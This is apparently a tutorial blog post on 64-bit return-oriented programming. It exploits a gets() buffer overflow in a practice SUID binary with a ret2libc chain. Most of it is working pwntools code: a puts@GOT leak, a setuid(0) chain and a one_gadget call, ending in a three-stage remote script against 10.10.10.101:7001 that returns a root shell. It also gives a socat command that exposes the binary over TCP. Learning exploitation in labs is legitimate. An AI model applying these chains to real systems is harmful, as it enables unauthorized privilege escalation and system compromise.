64 Bit Binary ROP Exploitation

Introduction

There are many things to be done in binary analyzation but I will just mainly focus on Ret2Libc attack.
You can use many other tools but I will use those mainly.

  • pwntools (python library)
  • A reverse engineering tool (gHidra , IDA etc.)
  • gdb-peda
  • ldd
  • readelf
  • strings
  • objdump
  • ropper
  • one_gadget

Analyzation

First thing first,
We need to analyze our binary in order to determine what kind of attack vector we need to use.

The program uses gets() to check password from use. As the linux manual points out its pretty vulnerable function. We will check if we can overflow the buffer in the exploitation part.

Although this program has suid bit set, it doesn’t call setuid function. Which means we will need to call it in the exploitation if we are going to build a priviledge escalation attack.

NX is enabled
Which means we can’t just directly overflow the buffer and drop to shellcode.
Cool, what can we do about it then ? We can do Ret2Libc attack of course.

As we are going to create a Ret2Libc attack, we need to find our binaries’ libc.so file.
This step is important because ‘.so’ files of binaries are like identity cards. If we don’t adjust our exploit code with them, it may not work.

After finding this, i will download it on my local in order to work on it.

Analyzing registers and buffer

Crashed the program with longer input than it supposed to take.

Analyzing the base pointer.

As you can see, peda told us that RBP was in the offset 128. As i explained in my previous post, RET comes after RBP. Therefore, we could just say that our buffer should be 128 + 8 = 136 byte long and I also showed it with RSP and stack state.

ROP Payload Logic
RBP = 128
RET = RSP + RBP + 8
JUNK BUFFER = 136 byte long
RET = JUNK BUFFER + 8

payload = (JUNK BUFFER) + (malicious return) + ….
Congratulations !! We succesfully built our ROP logic.

In the 64bit binary exploitation, the most simple logic to calculate the offset in order to call functions from libc(aka Ret2Libc) with giving global offset table + procedure linkage table and calling main after it.

1
rop_chain = buf + pop_rdi + got_put + plt_put + plt_main

Now if we recieve the next main call we will recieve the leaked offset of the function put.

Finding Offsets

I will use “pop rdi; ret” gadget.

Calling main after overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(terminal=['tmux','new window'])
p = process('./vuln')

###### STAGE 1 #######
plt_main = p64(0x401619)
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
buf = "A"* 136

rop_chain = buf + pop_rdi + got_put + plt_put + plt_main
p.sendline(rop_chain)

p.recvline()
p.recvline()

leaked_puts = p.recvline().strip().ljust(8,"\x00")
log.success("Length of the leaked puts = " + str(len(leaked_puts)))
log.success("Leaked puts@LIBC " + str(leaked_puts))
p.interactive()

voila! , we succesfully called the main one more time with overwriting the RET and leaked the puts!

Executing /bin/sh

This is the part i like most.

Second stage will be like this.

1
rop_chain = buf + pop_rdi + sh + sys
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context(terminal=['tmux','new window'])
p = process('./vuln')

###### STAGE 1 #######
plt_main = p64(0x401619)
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
buf = "A"* 136

rop_chain = buf + pop_rdi + got_put + plt_put + plt_main
p.sendline(rop_chain)

p.recvline()
p.recvline()

leaked_puts = p.recvline().strip().ljust(8,"\x00")
log.success("Length of the leaked puts = " + str(len(leaked_puts)))
log.success("Leaked puts@LIBC " + str(leaked_puts))

## AFTER THIS WE CALLED MAIN AGAIN

###### STAGE 2 #######
libc_puts = 0x71910
libc_sys = 0x0449c0
libc_sh = 0x181519

leaked_puts = u64(leaked_puts)
offset = leaked_puts - libc_puts
sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)

log.success("STARTING SECOND CHAIN ")
log.success("Leaked puts@LIBC " + str(leaked_puts))
log.success("pop_rdi " + str(u64(pop_rdi)))
log.success("system " + str(u64(sys)))
log.success("sh " + str( u64(sh) ))

rop_chain = buf + pop_rdi + sh + sys
p.sendline(rop_chain)

p.interactive()

Boom, we dropped to a shell locally.

Exploit in real action

Exposing the binary

In order to access the binary from outside, we need to expose it. In here you can use netcat and someother tools aswell but i will be using socat.

1
socat TCP4-LISTEN:7001,reuseaddr,fork EXEC:/usr/bin/vuln,stderr

This time we will take offsets from the libc.so.6 that we downloaded. Because the binary mainly uses it, ours and its will be different.

In this step i will introduce you with another concept.

one_gadget

The best tool for finding one gadget RCE in libc.so.6
With this tool we won’t need to calculate otherstuff.
Github Link

Thanks to Layle for teaching me this great trick.

1
2
one_gadget = p64(offset + 0x4f2c5) 
rop_chain = buf + one_gadget

Boom! but wait what?? , why are we not root?

As i mentioned before, although this binary has SUID bit set it doesn’t call setuid function. oh crap

Calling setuid() manually

We will do callback to main one more time . I don’t know why it is exactly happening but you can’t just directly call setuid in one chain. You need to do one more chain.

1
2
3
libc_setuid = 0xe5970
setuid = p64(offset + libc_setuid )
rop_chain = buf + pop_rdi + p64(0x0)+ setuid + plt_main

p64(0x0),0x00000000000, is pretty important. It is the argument of setuid(). We will set it to 0 as root is 0.

Last chain

1
2
rop_chain = buf + one_gadget
p.sendline(rop_chain)

We succesfully created our exploit, enjoy your root shell !!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(terminal=['tmux','new window'])

p = remote('10.10.10.101',7001)

log.success("STARTING FIRST CHAIN")
###### STAGE 1 #######
plt_main = p64(0x401619)
plt_put = p64(0x401050)
got_put = p64(0x404028)
pop_rdi = p64(0x40179b)
buf = "A"* 136

rop_chain = buf + pop_rdi + got_put + plt_put + plt_main
p.sendline(rop_chain)
p.recvline()
p.recvline()

leaked_puts = p.recvline().strip().ljust(8,"\x00")
log.success("Length of the leaked puts = " + str(len(leaked_puts)))
log.success("Leaked puts@LIBC " + str(leaked_puts))

###### STAGE 2 #######
libc_put = 0x809c0
libc_setuid = 0xe5970

leaked_puts = u64(leaked_puts)
offset = leaked_puts - libc_put
one_gadget = p64(offset + 0x4f2c5)
setuid = p64(offset + libc_setuid )
log.success("STARTING SECOND CHAIN ")
rop_chain = buf + pop_rdi + p64(0x0)+ setuid + plt_main
p.sendline(rop_chain)


###### STAGE 3 #######
log.success("We sucessfully escalated our priviledges")
log.success("STARTING THIRD AND THE LAST CHAIN")
log.success("pwned!")

rop_chain = buf + one_gadget
p.sendline(rop_chain)

p.interactive()

Thank you for making out here. If you have any questions, please let me know.

Download

vuln.zip